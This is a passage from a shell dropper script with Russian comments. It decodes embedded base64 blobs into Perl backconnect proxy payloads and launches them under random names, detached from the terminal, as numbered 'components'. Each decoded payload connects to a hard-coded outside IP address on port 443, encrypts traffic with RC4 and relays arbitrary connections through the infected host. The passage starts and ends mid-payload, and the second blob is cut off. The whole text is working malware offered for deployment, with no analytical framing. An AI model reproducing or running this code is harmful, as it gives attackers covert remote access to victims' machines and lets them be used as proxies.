'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #14 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #14 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 15 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm 